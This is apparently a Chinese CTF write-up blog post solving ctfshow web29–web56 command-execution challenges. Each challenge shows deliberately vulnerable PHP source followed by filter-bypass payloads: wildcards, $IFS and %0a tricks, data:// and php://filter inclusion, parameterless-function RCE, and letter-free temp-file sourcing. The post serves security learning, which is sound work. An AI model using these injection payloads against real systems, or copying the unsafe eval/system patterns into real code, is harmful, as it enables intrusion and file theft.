ctfshow web入门命令执行部分(更新至56)

web29

源码

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload:c=system('cat f*');

  • 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
    ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
    [abcd] 匹配abcd中任何一个字符
    [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件

再补充一下:
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
比如 c=system('ca\t fla\g.php');

web30

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

过滤了system|flag,用一个代替system()的函数
payload:?c=passthru("cat f*");

或者

反引号执行系统命令

payload:c=echo `cat f*`;

因为过滤了system,我们就得选择其他的命令执行函数了
常见的有如下几个,其中system和passthru是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数即可。

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

web31

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}
payload:c=echo(`more%09f*`);

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

web32-36

<?php

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

php中不用括号的有echo include等
过滤了分号可以用?>绕过。
尝试了以下,发现 include"/etc/passwd"?>可以执行成功。再去想下没有过滤 , 我 们 使 用 ,我们使用 使_POST[x]"?>然后post传参x=/etc/passwd 执行成功。还有一个问题include包含php文件不会在页面显示出来,所以只能用伪协议。

这里直接用include 进行无括号包含即可

解法一:
payload:?c=include“$_GET[n]”?>&n=php://filter/read=convert.base64-encode/resource=flag.php

解法二:
payload:

?c=include"$_POST[n]"?>
n=php://filter/read=convert.base64-encode/resource=flag.php

web37

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag/i", $c)){
    include($c);
    echo $flag;
  
  }
    
}else{
  highlight_file(__FILE__);
}

这里用到了include包含还过滤了flag,所以php://filter 就用不了

我们用data://协议

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

playload:?c=data://text/plain,<?php system('cat f*');?>

web38

<?php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|php|file/i", $c)){
    include($c);
    echo $flag;
  
  }
    
}else{
  highlight_file(__FILE__);
}

比web37多了个 php的过滤

我们直接base64过滤

playload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag/i", $c)){
    include($c.".php");
  }
    
}else{
  highlight_file(__FILE__);
}

web39加了个 .php

tip:使用 %00 截断php 版本<5.3.4

playload: ?c=data://text/plain,<?php system('cat f*');?>

web40

<?php
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
  }
    
}else{
  highlight_file(__FILE__);
}

这题太难了,=.= 还是学学大佬如何解题的

这题用到的知识点是 php无参数函数构造, 也就是需要无参数完成 RCE ,可参考一叶飘零师傅的 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

直接挂 playload:``?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));

知道 flag.php的位置 可以使用highlight_file(next(array_reverse(scandir(pos(localeconv())))));

解法二: eval(array_rand(array_flip(getallheaders())));

增加 header头 xx=system('cat flag.php');

web41

源码展示:

<?php

if(isset($_POST['c'])){
  $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");
  }
}else{
  highlight_file(__FILE__);
}
?>
 

web42

<?php

if(isset($_GET['c'])){
  $c=$_GET['c'];
  system($c." >/dev/null 2>&1");
}else{
  highlight_file(__FILE__);
}

解释一下

/dev/null 2>&1

分解这个组合:“>/dev/null 2>&1” 为五部分。

1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"

所以我们要让命令回显,那么进行命令分隔即可

;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行
&&	//两条命令都会执行

payload:cat flag.php;
payload: cat flag.php||

web43

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

比web42多过滤了 ;和 cat

可以用 %0a(换行符) 绕过

playload: ?c=more flag.php || 或者 ?c=more flag.php %0a

web44

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/;|cat|flag/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

多过滤了一个flag

playload: ?c=more f* %0a

web45

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| /i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

多过滤了一个空格

playload:?c=echo$IFStac$IFS*%0a 或者 ?c=more${IFS}f*${IFS}%0a

web46

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

多过滤了 $ [0-9] *

playload:?c=more%09fla''g.php%09%0a 或者 ?c=more%09fla?.php%09%0a 或者 /?c=more%09fl\ag.php%09%0a

web47

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

playload: ?c=nl%09fl\ag.php%09%0a

web48

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

playload: ?c=nl%09fl\ag.php%09%0a

web49-51

<?php
if(isset($_GET['c'])){ 
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

playload: ?c=nl<fla''g.php|| 通杀

web52

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

?c=nl${IFS}fla\g.php|| 发现是假的

在这里插入图片描述

ls一下

?c=ls${IFS}/||

在这里插入图片描述

发现flag在根目录,所以 playload : ?c=nl${IFS}/fla\g||('cat / '就表示操作根目录下的文件)

在这里插入图片描述

web53

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    echo($c);
    $d = system($c);
    echo "<br>".$d;
  }else{
    echo 'no';
  }
}else{
  highlight_file(__FILE__);
}

这题 就不用|| 了

直接 ?c=nl${IFS}fla\g.php

web54

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
  }
}else{
  highlight_file(__FILE__);
}

ls了一下 发现flag还在本目录,所以

playload:?c=paste${IFS}fla?.php

解二:

grep

grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

payload:?c=grep${IFS}%27{%27${IFS}fl???php

意思就是在 fl???php匹配到的文件中,查找含有 { 的文件,并打印出包含 { 的这一行

web55-56(无数字字母rce)

//web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
  }
}else{
  highlight_file(__FILE__);
}
//web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
  }
}else{
  highlight_file(__FILE__);
}

web55过滤了 [a-z],不会了 ,还是看看大佬的wp吧

先放payload: ?c=/???/????64%20????.???

bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

得到如下:

在这里插入图片描述

base64解密,即可得到flag

看了羽大佬的WP还有一种解法

如下:payload:?c=/???/???/???2 ???.??? —》 然后在url + /flag.php.bz2

/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

以上两种解法都是有很大局限性的,它们都存在数字,万一过滤数字就没办法绕过了也就是web56的题

接下来我们来讲web56的解法:参考firebasky师傅 ying师傅 p神,感谢三位大佬!!

y1ng P神 firebasky

tips:

1.playload:?c=.+/???/???[@-[] 因为 .命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)

2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令

3.上传的临时路径是一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配) ,所以多试几次也是正常
注意:通过.去执行sh命令不需要有执行权限

4.我们的playload 的? 的数量只有11个,因为最后一个匹配为大写,用[@-[] 代替了,不需要在它的后面再加上?了

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值